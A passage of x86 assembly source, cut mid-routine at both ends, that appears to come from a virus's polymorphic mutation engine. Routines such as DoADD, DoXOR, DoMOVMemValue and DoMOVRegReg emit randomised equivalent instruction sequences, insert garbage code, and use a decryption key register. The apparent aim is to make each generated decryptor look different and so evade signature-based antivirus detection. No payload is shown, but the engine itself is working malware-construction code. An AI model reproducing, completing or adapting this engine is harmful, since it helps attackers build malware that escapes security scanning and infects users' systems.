||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@DirectPUSH
|
||
call RandomFlags
|
||
jz @@DirectPUSH
|
||
@@Other: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@DirectPUSH
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call DoPUSHMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
|
||
@@DirectPUSH:
|
||
push eax
|
||
cmp eax, 7Fh
|
||
jbe @@PUSHByte
|
||
cmp eax, 0FFFFFF80h
|
||
jae @@PUSHByte
|
||
mov al, 68h
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
jmp @@End
|
||
@@PUSHByte:
|
||
mov al, 6Ah
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoPUSHValue endp
|
||
|
||
;; This function performs an addition of the value in EAX to the register in
|
||
;; DL. The addition can be done with:
|
||
;; ADD Reg,Value
|
||
;; LEA Reg,[Reg+Value]
|
||
;; SUB Reg,NEG(Value)
|
||
DoADD proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
|
||
cmp eax, 1
|
||
jz @@SelectINC
|
||
cmp eax, -1
|
||
jz @@SelectDEC
|
||
@@Others:
|
||
cmp byte ptr [ebp+FlagNoLEA], 1
|
||
jz @@NoLEAs
|
||
|
||
@@OtherRandom:
|
||
push eax
|
||
call Random
|
||
mov ebx, eax
|
||
pop eax
|
||
and bl, 7
|
||
jz @@ADDDirect
|
||
cmp bl, 2
|
||
jb @@SUBDirect
|
||
jz @@LEA
|
||
cmp bl, 4
|
||
jb @@LEA2
|
||
jz @@MOVMEM
|
||
cmp bl, 5
|
||
ja @@OtherRandom
|
||
@@MOVMEM2: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@NoRecursives
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call DoADDRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
@@MOVMEM: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@NoRecursives
|
||
neg eax
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call DoSUBRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
|
||
@@ADDDirect:
|
||
mov ebx, eax
|
||
or dl, dl
|
||
jz @@ADDDirectEAX
|
||
cmp ebx, 7Fh
|
||
jbe @@ADDDirectByte
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@ADDDirectByte
|
||
mov ax, 0C081h
|
||
@@CommonWithADD1:
|
||
or ah, dl
|
||
stosw
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@ADDDirectByte:
|
||
mov ax, 0C083h
|
||
@@CommonWithADD2:
|
||
or ah, dl
|
||
stosw
|
||
xchg ebx, eax
|
||
stosb
|
||
jmp @@End
|
||
@@ADDDirectEAX:
|
||
mov al, 05h
|
||
stosb
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@SUBDirect:
|
||
neg eax
|
||
mov ebx, eax
|
||
or dl, dl
|
||
jz @@SUBDirectEAX
|
||
cmp ebx, 7Fh
|
||
jbe @@SUBDirectByte
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@SUBDirectByte
|
||
mov ax, 0E881h
|
||
jmp @@CommonWithADD1
|
||
@@SUBDirectByte:
|
||
mov ax, 0E883h
|
||
jmp @@CommonWithADD2
|
||
@@SUBDirectEAX:
|
||
mov al, 2Dh
|
||
stosb
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@LEA: mov ebx, eax
|
||
mov ax, 008Dh
|
||
or ah, dl
|
||
shl dl, 3
|
||
or ah, dl
|
||
cmp ebx, 7Fh
|
||
jbe @@LEA_sb
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@LEA_sb
|
||
or ah, 80h
|
||
stosw
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@LEA_sb: or ah, 40h
|
||
stosw
|
||
@@LEA_sb2: xchg ebx, eax
|
||
stosb
|
||
jmp @@End
|
||
|
||
@@LEA2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@LEA
|
||
sub eax, [ebp+DecryptKey]
|
||
mov ebx, eax
|
||
cmp ebx, 7Fh
|
||
jbe @@LEA2b
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@LEA2b
|
||
mov ax, 848Dh
|
||
@@LEA2_Common:
|
||
shl dl, 3
|
||
or ah, dl
|
||
shr dl, 3
|
||
stosw
|
||
mov dh, [ebp+KeyRegister]
|
||
call RandomFlags
|
||
jz @@LEA2_X
|
||
xchg dh, dl
|
||
@@LEA2_X: shl dh, 3
|
||
mov al, dh
|
||
or al, dl
|
||
stosb
|
||
cmp ebx, 7Fh
|
||
jbe @@LEA_sb2
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@LEA_sb2
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@LEA2b: mov ax, 448Dh
|
||
jmp @@LEA2_Common
|
||
|
||
@@SelectINC2:
|
||
call RandomFlags
|
||
jz @@INC01
|
||
js @@NextNoRecurs
|
||
jmp @@INC01
|
||
@@SelectINC:
|
||
call RandomFlags
|
||
jz @@INC01
|
||
js @@Others
|
||
@@INC01: mov al, 40h
|
||
jmp @@CommonWithDEC
|
||
|
||
@@NoLEAs: push eax
|
||
call Random
|
||
mov ebx, eax
|
||
pop eax
|
||
and bl, 3
|
||
jz @@ADDDirect
|
||
cmp bl, 2
|
||
jb @@SUBDirect
|
||
jz @@MOVMEM
|
||
jmp @@MOVMEM2
|
||
|
||
@@NoRecursives:
|
||
cmp eax, 1
|
||
jz @@SelectINC2
|
||
cmp eax, -1
|
||
jz @@SelectDEC2
|
||
@@NextNoRecurs:
|
||
cmp byte ptr [ebp+FlagNoLEA], 1
|
||
jnz @@NoRecursives2
|
||
call RandomFlags
|
||
jz @@ADDDirect
|
||
jmp @@SUBDirect
|
||
|
||
@@NoRecursives2:
|
||
call RandomFlags
|
||
jz @@0_
|
||
js @@ADDDirect
|
||
jmp @@SUBDirect
|
||
@@0_: js @@LEA
|
||
jmp @@LEA2
|
||
|
||
@@SelectDEC2:
|
||
call RandomFlags
|
||
jz @@DEC01
|
||
js @@NextNoRecurs
|
||
jmp @@DEC01
|
||
|
||
@@SelectDEC:
|
||
call RandomFlags
|
||
jz @@DEC01
|
||
js @@Others
|
||
@@DEC01: mov al, 48h
|
||
@@CommonWithDEC:
|
||
or al, dl
|
||
stosb
|
||
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi ; Conserve EDI
|
||
popad
|
||
ret ; Return
|
||
DoADD endp
|
||
|
||
;; Flag that we use when making comparisions, since LEA doesn't modify flags
|
||
FlagNoLEA db 0
|
||
|
||
;; This function makes a subtraction of the value in EAX to the register in
|
||
;; DL. Since this function is only called when we make comparisions, we have
|
||
;; to assure that LEA isn't used, so I put a flag to avoid LEAs. This function
|
||
;; then negates the value and calls to DoADD, but avoiding LEAs.
|
||
DoSUB proc
|
||
push eax
|
||
neg eax ; Negate value
|
||
mov byte ptr [ebp+FlagNoLEA], 1 ; Don't allow LEA
|
||
call DoADD ; Call to DoADD
|
||
mov byte ptr [ebp+FlagNoLEA], 0 ; Allow LEA again
|
||
pop eax
|
||
ret ; Return
|
||
DoSUB endp
|
||
|
||
;; This function only makes a XOR Reg,Value. There isn't any work-around to
|
||
;; make XORs (well, you can use the fact that a XOR is
|
||
;; [(X AND Y) OR (NEG(X) AND NEG(Y)], which it's a bitch to code :).
|
||
DoXOR proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@DirectXOR
|
||
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@DirectXOR
|
||
call DoMOVMemValue
|
||
call DoRandomGarbage
|
||
call DoXORRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
|
||
@@DirectXOR:
|
||
push eax
|
||
or dl, dl ; Do we use EAX?
|
||
jz @@EAX ; Then use the EAX opcode
|
||
mov ax, 0F081h ; Opcode of XOR Reg,Value
|
||
or ah, dl ; Bind the register to the opcode
|
||
stosw ; Store the opcode
|
||
jmp @@J01 ; Jump to continue
|
||
@@EAX: mov al, 35h ; Opcode of XOR EAX,Value
|
||
stosb ; Store it
|
||
@@J01: pop eax ; Get the value to XOR from stack
|
||
stosd ; Complete the instruction
|
||
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi ; Conserve EDI
|
||
popad
|
||
ret ; Return
|
||
DoXOR endp
|
||
|
||
;; EBX=Memory address, EAX=Value
|
||
DoMOVMemValue proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
push eax
|
||
call Random
|
||
mov ecx, eax
|
||
pop eax
|
||
and cl, 3
|
||
jz @@MOVDirect
|
||
cmp cl, 2
|
||
jb @@MOVDirect2
|
||
jz @@PUSHPOP
|
||
|
||
@@AdjustMem:
|
||
mov ecx, eax ; ECX=Destiny (=EAX)
|
||
call Random
|
||
and al, 3
|
||
jz @@NoRecursives2
|
||
mov byte ptr [ebp+@@AdjustTimes], al
|
||
call Random
|
||
mov edx, eax ; EDX=Initial value
|
||
push dword ptr [ebp+@@AdjustTimes]
|
||
call DoMOVMemValue ; Move this to [EBX]
|
||
pop dword ptr [ebp+@@AdjustTimes]
|
||
@@Adj_Loop01:
|
||
push dword ptr [ebp+@@AdjustTimes]
|
||
call Random
|
||
mov esi, eax ; ESI=Number that modifies
|
||
@@Adj_Loop02:
|
||
call Random
|
||
and al, 3
|
||
jz @@Adj_Loop02
|
||
cmp al, 2
|
||
jb @@Adj_ADD
|
||
jz @@Adj_XOR
|
||
@@Adj_SUB: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_SUB01
|
||
call Random
|
||
and al, 0Fh
|
||
jnz @@Adj_SUB01
|
||
sub edx, [ebp+DecryptKey]
|
||
push edx
|
||
mov dl, [ebp+KeyRegister]
|
||
call DoSUBMemReg
|
||
pop edx
|
||
jmp @@Adj_Next01
|
||
@@Adj_SUB01: sub edx, esi ; Initial=Initial-Random
|
||
mov eax, esi
|
||
call DoSUBMemValue ; Do SUB [<EBX>],<ESI>
|
||
jmp @@Adj_Next01
|
||
|
||
@@Adj_ADD: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_ADD01
|
||
call Random
|
||
and al, 0Fh
|
||
jnz @@Adj_ADD01
|
||
add edx, [ebp+DecryptKey]
|
||
push edx
|
||
mov dl, [ebp+KeyRegister]
|
||
call DoADDMemReg
|
||
pop edx
|
||
jmp @@Adj_Next01
|
||
@@Adj_ADD01: add edx, esi ; Initial=Initial+Random
|
||
mov eax, esi
|
||
call DoADDMemValue ; Do ADD [<EBX>],<ESI>
|
||
jmp @@Adj_Next01
|
||
|
||
@@Adj_XOR: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Adj_XOR01
|
||
call Random
|
||
and al, 0Fh
|
||
jnz @@Adj_XOR01
|
||
xor edx, [ebp+DecryptKey]
|
||
push edx
|
||
mov dl, [ebp+KeyRegister]
|
||
call DoXORMemReg
|
||
pop edx
|
||
jmp @@Adj_Next01
|
||
@@Adj_XOR01: xor edx, esi
|
||
mov eax, esi
|
||
call DoXORMemValue
|
||
|
||
@@Adj_Next01:
|
||
call DoRandomGarbage
|
||
pop dword ptr [ebp+@@AdjustTimes]
|
||
dec byte ptr [ebp+@@AdjustTimes]
|
||
jnz @@Adj_Loop01
|
||
|
||
@@Adj_Loop03:
|
||
call Random
|
||
and al, 3
|
||
jz @@Adj_Loop03
|
||
cmp al, 2
|
||
jb @@Adj_FinalADD
|
||
jz @@Adj_FinalSUB
|
||
@@Adj_FinalXOR:
|
||
xor ecx, edx ; EDX=Current value XOR final value
|
||
mov eax, ecx
|
||
call DoXORMemValue
|
||
jmp @@End
|
||
@@Adj_FinalADD:
|
||
sub ecx, edx
|
||
mov eax, ecx
|
||
call DoADDMemValue
|
||
jmp @@End
|
||
@@Adj_FinalSUB:
|
||
sub edx, ecx
|
||
mov eax, edx
|
||
call DoSUBMemValue
|
||
jmp @@End
|
||
|
||
@@AdjustTimes db 0
|
||
db 3 dup (0) ; Padding
|
||
|
||
@@PUSHPOP: call DoPUSHValue
|
||
call DoRandomGarbage
|
||
call DoPOPMem
|
||
jmp @@End
|
||
|
||
@@MOVDirect: push eax
|
||
mov ax, 05C7h
|
||
stosw
|
||
pop eax
|
||
xchg ebx, eax
|
||
stosd ; First <EBX>
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@MOVDirect2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@MOVDirect
|
||
push eax
|
||
mov ax, 00C7h
|
||
or ah, [ebp+KeyRegister]
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jbe @@Byte
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@Byte
|
||
or ah, 80h
|
||
stosw
|
||
pop eax
|
||
xchg ebx, eax
|
||
stosd
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@Byte: or ah, 40h
|
||
stosw
|
||
pop eax
|
||
xchg ebx, eax
|
||
stosb
|
||
xchg ebx, eax
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@NoRecursives2:
|
||
mov eax, ecx
|
||
@@NoRecursives:
|
||
call RandomFlags
|
||
jz @@MOVDirect
|
||
jmp @@MOVDirect2
|
||
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoMOVMemValue endp
|
||
|
||
DoADDMemReg proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 01
|
||
jmp DoXXXWithMemAndReg
|
||
DoADDMemReg endp
|
||
|
||
;; Attention: This routine shouldn't be called directly!
|
||
DoXXXWithMemAndReg proc
|
||
pushad
|
||
call RandomFlags
|
||
jz @@Direct
|
||
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Direct
|
||
sub ebx, [ebp+DecryptKey]
|
||
xor ah, ah
|
||
mov al, [ebp+OpcodeToUseInXXXFunc]
|
||
shl dl, 3
|
||
or ah, dl
|
||
or ah, [ebp+KeyRegister]
|
||
cmp ebx, 7Fh
|
||
jbe @@Byte
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@Byte
|
||
or ah, 80h
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@End
|
||
@@Byte: or ah, 40h
|
||
stosw
|
||
mov eax, ebx
|
||
stosb
|
||
jmp @@End
|
||
|
||
@@Direct: mov ah, 05h
|
||
mov al, [ebp+OpcodeToUseInXXXFunc]
|
||
shl dl, 3
|
||
or ah, dl
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
|
||
@@End: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoXXXWithMemAndReg endp
|
||
|
||
DoADDRegMem proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 03
|
||
jmp DoXXXWithMemAndReg
|
||
DoADDRegMem endp
|
||
|
||
DoSUBRegMem proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 2Bh
|
||
jmp DoXXXWithMemAndReg
|
||
DoSUBRegMem endp
|
||
|
||
DoSUBMemReg proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 29h
|
||
jmp DoXXXWithMemAndReg
|
||
DoSUBMemReg endp
|
||
|
||
DoXORRegMem proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 33h
|
||
jmp DoXXXWithMemAndReg
|
||
DoXORRegMem endp
|
||
|
||
DoXORMemReg proc
|
||
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 31h
|
||
jmp DoXXXWithMemAndReg
|
||
DoXORMemReg endp
|
||
|
||
OpcodeToUseInXXXFunc db 0
|
||
|
||
DoADDMemValue proc
|
||
pushad
|
||
push eax
|
||
call Random
|
||
mov ecx, eax
|
||
pop eax
|
||
and cl, 3
|
||
jz @@ADD
|
||
cmp cl, 2
|
||
jb @@ADD2
|
||
jz @@SUB
|
||
@@SUB2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@SUB
|
||
neg eax
|
||
push eax
|
||
mov ax, 2881h
|
||
DoXXXMemValue_Common2:
|
||
or ah, [ebp+KeyRegister]
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jbe @@SUB2b
|
||
cmp ebx, 0FFFFFF80h
|
||
jae @@SUB2b
|
||
or ah, 80h
|
||
DoXXXMemValue_Common:
|
||
pop ecx
|
||
stosw
|
||
xchg ebx, eax
|
||
stosd
|
||
xchg ecx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@SUB2b: or ah, 40h
|
||
pop ecx
|
||
stosw
|
||
xchg ebx, eax
|
||
stosb
|
||
xchg ecx, eax
|
||
stosd
|
||
jmp @@End
|
||
@@SUB: neg eax
|
||
push eax
|
||
mov ax, 2D81h
|
||
jmp DoXXXMemValue_Common
|
||
@@ADD: push eax
|
||
mov ax, 0581h
|
||
jmp DoXXXMemValue_Common
|
||
@@ADD2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@ADD
|
||
push eax
|
||
mov ax, 0081h
|
||
jmp DoXXXMemValue_Common2
|
||
|
||
@@End: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoADDMemValue endp
|
||
|
||
DoSUBMemValue proc
|
||
push eax
|
||
neg eax
|
||
call DoADDMemValue
|
||
pop eax
|
||
ret
|
||
DoSUBMemValue endp
|
||
|
||
DoXORMemValue proc
|
||
pushad
|
||
call RandomFlags
|
||
jz @@XOR
|
||
@@XOR2: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@XOR
|
||
push eax
|
||
mov ax, 3081h
|
||
jmp DoXXXMemValue_Common2
|
||
@@XOR: push eax
|
||
mov ax, 3581h
|
||
jmp DoXXXMemValue_Common
|
||
DoXORMemValue endp
|
||
|
||
;; This function makes code to move the value of one register to another. This
|
||
;; task can be made with:
|
||
;; - MOV Reg1,Reg2
|
||
;; - LEA Reg1,[Reg2]
|
||
;; - PUSH Reg2/Garbage/POP Reg1
|
||
;; When calling: DL=Destiny register, DH=Source register
|
||
DoMOVRegReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
|
||
call Random
|
||
and al, 3
|
||
jz @@PUSHPOP
|
||
cmp al, 2
|
||
jb @@LEA
|
||
jz @@MOV
|
||
@@MOVMEM: call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@NoRecursives
|
||
xchg dh, dl
|
||
call DoMOVMemReg
|
||
call DoRandomGarbage
|
||
xchg dh, dl
|
||
call DoMOVRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
@@PUSHPOP: xchg dh, dl
|
||
call DoPUSHReg
|
||
call DoRandomGarbage
|
||
xchg dh, dl
|
||
call DoPOPReg
|
||
jmp @@End
|
||
@@LEA:
|
||
;; Here we make: LEA Reg1,[Reg2]
|
||
;; The opcode of instruction LEA is as follows:
|
||
;; LEA = 8Dh+ 00(IndexAdding).000(Destiny).000(SourceInBrackets - Not 5)
|
||
;; To put EBP in SourceInBrackets, IndexAdding must be 1 or 2.
|
||
shl dl, 3 ; Prepare the destiny register to set it to
|
||
; the opcode
|
||
cmp dh, 5 ; Is the source register EBP?
|
||
jz @@LEA_EBP ; If it is, jump
|
||
mov ax, 008Dh ; AX=Clean opcode of LEA
|
||
or ah, dl ; Set the destiny register
|
||
or ah, dh ; Set the register in brackets
|
||
stosw ; Store the opcode
|
||
jmp @@End ; Jump to return
|
||
@@LEA_EBP: mov ax, 458Dh ; Opcode of LEA Reg,[EBP+something]
|
||
or ah, dl ; Set the destiny register
|
||
stosw ; Store the opcode
|
||
xor al, al
|
||
stosb ; Store a 0 addition
|
||
jmp @@End ; Jump to return
|
||
|
||
;; Make a MOV Reg1,Reg2
|
||
@@MOV: mov ax, 0C089h ; Opcode of MOV Reg,Reg
|
||
call RandomFlags
|
||
js @@MOV_2 ; Random jump (to avoid alternative opcode)
|
||
add al, 2 ; Make 8B C0 as instruction, so...
|
||
xchg dh, dl ; ...we have to exchange source and destiny
|
||
@@MOV_2: shl dh, 3 ; Set the registers to the opcode
|
||
or ah, dh
|
||
or ah, dl
|
||
stosw ; Store the opcode
|
||
jmp @@End ; Jump to return
|
||
|
||
@@NoRecursives:
|
||
call RandomFlags
|
||
jz @@LEA
|
||
jmp @@MOV
|
||
|
||
EndRecursiveMOVing:
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi ; Conserve EDI
|
||
popad
|
||
ret ; Return
|
||
DoMOVRegReg endp
|
||
|
||
MOVingRecursLevel db 0
|
||
|
||
;; Returns: EBX=Address to use
|
||
;; The returned address is reserved for prevent its using.
|
||
;; If there are no more free memory variables, then EBX=0
|
||
GetAndReserveVar proc
|
||
push eax
|
||
push ecx
|
||
movzx ecx, byte ptr [ebp+GarbageRecursivity]
|
||
lea ecx, [ebp+8*ecx]
|
||
call Random
|
||
and eax, 7
|
||
mov ebx, eax
|
||
@@Loop01: cmp byte ptr [ecx+eax+ReservedMemVars_F], 0
|
||
jz @@Found
|
||
inc eax
|
||
@@Loop02: cmp eax, ebx
|
||
jz @@ReturnError
|
||
cmp eax, 8
|
||
jb @@Loop01
|
||
xor eax, eax
|
||
jmp @@Loop02
|
||
@@Found: mov byte ptr [ecx+eax+ReservedMemVars_F], 1
|
||
sub ecx, ebp
|
||
lea ecx, [ebp+4*ecx]
|
||
mov ebx, [ecx+4*eax+ReservedMemVars_Addr]
|
||
pop ecx
|
||
pop eax
|
||
ret
|
||
@@ReturnError:
|
||
xor ebx, ebx
|
||
pop ecx
|
||
pop eax
|
||
ret
|
||
GetAndReserveVar endp
|
||
|
||
;; In: EBX=Reserved memory address to "unlock"
|
||
;; Returns: Nothing (even if there's an error)
|
||
ReleaseVar proc
|
||
push ecx
|
||
push edx
|
||
movzx edx, byte ptr [ebp+GarbageRecursivity]
|
||
shl edx, 5
|
||
lea edx, [ebp+edx]
|
||
mov ecx, 8
|
||
@@Loop01: cmp dword ptr [edx+4*ecx+ReservedMemVars_Addr-4], ebx
|
||
jz @@Found
|
||
loop @@Loop01
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
@@Found: sub edx, ebp
|
||
shr edx, 2
|
||
add edx, ebp
|
||
mov byte ptr [edx+ecx+ReservedMemVars_F-1], 0
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
ReleaseVar endp
|
||
|
||
;; DL=Register to PUSH
|
||
DoPUSHReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@DirectPUSH
|
||
call RandomFlags
|
||
jz @@DirectPUSH
|
||
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@DirectPUSH
|
||
call DoMOVMemReg
|
||
call DoRandomGarbage
|
||
call DoPUSHMem
|
||
call ReleaseVar
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@DirectPUSH:
|
||
mov al, 50h
|
||
add al, dl
|
||
stosb
|
||
jmp EndRecursiveMOVing
|
||
DoPUSHReg endp
|
||
|
||
DoPOPReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@DirectPOP
|
||
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@DirectPOP
|
||
call DoPOPMem
|
||
call DoRandomGarbage
|
||
call DoMOVRegMem
|
||
call ReleaseVar
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@DirectPOP: mov al, 58h
|
||
add al, dl
|
||
stosb
|
||
jmp EndRecursiveMOVing
|
||
DoPOPReg endp
|
||
|
||
;; In: EBX=Memory address
|
||
DoPUSHMem proc
|
||
pushad
|
||
call RandomFlags
|
||
jz @@WithIndex
|
||
@@Direct: mov ax, 35FFh
|
||
CommonWithDoPUSH2:
|
||
@@Common: stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@End
|
||
|
||
@@WithIndex: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Direct
|
||
mov ax, 0B0FFh
|
||
CommonWithDoPUSH:
|
||
or ah, [ebp+KeyRegister]
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jb @@ByteAddition
|
||
cmp ebx, 0FFFFFF80h
|
||
jb @@Common
|
||
@@ByteAddition:
|
||
and ax, 3FFFh
|
||
or ah, 40h
|
||
stosw
|
||
mov eax, ebx
|
||
stosb
|
||
|
||
EndOfDoPUSHMem:
|
||
@@End: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoPUSHMem endp
|
||
|
||
DoPOPMem proc
|
||
pushad
|
||
call RandomFlags
|
||
jz @@WithIndex
|
||
@@Direct: mov ax, 058Fh
|
||
jmp CommonWithDoPUSH2
|
||
@@WithIndex: cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@Direct
|
||
mov ax, 0808Fh
|
||
jmp CommonWithDoPUSH
|
||
DoPOPMem endp
|
||
|
||
DoMOVRegMem proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
|
||
@@OtherRandom:
|
||
call Random
|
||
and al, 3
|
||
jz @@OtherRandom
|
||
cmp al, 2
|
||
jb @@DirectMOV
|
||
jz @@DirectMOVIndexed
|
||
@@PUSHPOP: call DoPUSHMem
|
||
call DoRandomGarbage
|
||
call DoPOPReg
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@DirectMOV: mov ax, 058Bh
|
||
CommonMRMDirectMOV:
|
||
shl dl, 3
|
||
or ah, dl
|
||
stosw
|
||
mov eax, ebx
|
||
stosd
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@DirectMOVIndexed:
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@DirectMOV
|
||
mov ax, 808Bh
|
||
CommonMRMDirectMOV2:
|
||
or ah, [ebp+KeyRegister]
|
||
sub ebx, [ebp+DecryptKey]
|
||
cmp ebx, 7Fh
|
||
jbe @@Cont_01
|
||
cmp ebx, 0FFFFFF80h
|
||
jb CommonMRMDirectMOV
|
||
@@Cont_01: and ah, 07h
|
||
shl dl, 3
|
||
or ah, dl
|
||
or ah, 40h
|
||
stosw
|
||
mov eax, ebx
|
||
stosb
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@NoRecursives:
|
||
call RandomFlags
|
||
jz @@DirectMOV
|
||
jmp @@DirectMOVIndexed
|
||
DoMOVRegMem endp
|
||
|
||
DoMOVMemReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
|
||
@@OtherRandom:
|
||
call Random
|
||
and al, 3
|
||
jz @@OtherRandom
|
||
cmp al, 2
|
||
jb @@DirectMOV
|
||
jz @@DirectMOVIndexed
|
||
|
||
@@PUSHPOP: call DoPUSHReg
|
||
call DoRandomGarbage
|
||
call DoPOPMem
|
||
jmp EndRecursiveMOVing
|
||
|
||
@@DirectMOV: mov ax, 0589h
|
||
jmp CommonMRMDirectMOV
|
||
@@DirectMOVIndexed:
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@DirectMOV
|
||
mov ax, 8089h
|
||
jmp CommonMRMDirectMOV2
|
||
|
||
@@NoRecursives:
|
||
call RandomFlags
|
||
jz @@DirectMOV
|
||
jmp @@DirectMOVIndexed
|
||
DoMOVMemReg endp
|
||
|
||
;; This constructs a XOR between two registers. As the function DoXOR, it has
|
||
;; to be made directly, since there aren't more options to do a XOR. Anyway,
|
||
;; we can use two slightly different opcodes to perform that.
|
||
;; When we call it: DH=Source register, DL=Destiny register
|
||
DoXORRegReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@Direct
|
||
call RandomFlags
|
||
jz @@Direct
|
||
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@Direct
|
||
xchg dh, dl
|
||
call DoMOVMemReg
|
||
call DoRandomGarbage
|
||
xchg dh, dl
|
||
call DoXORRegMem
|
||
call ReleaseVar
|
||
jmp @@End
|
||
|
||
@@Direct: mov ax, 0C031h ; Opcode of XOR Reg,Reg
|
||
DoXXXRegReg: call RandomFlags ; Random Zero Flag
|
||
jz @@1 ; Jump and avoid the next instructions
|
||
add al, 2 ; Convert opcode to 33h so...
|
||
xchg dh, dl ;...we must exchange source and destiny
|
||
@@1: shl dh, 3
|
||
or ah, dl
|
||
or ah, dh ; Set the registers to the opcode
|
||
stosw ; Store the opcode
|
||
|
||
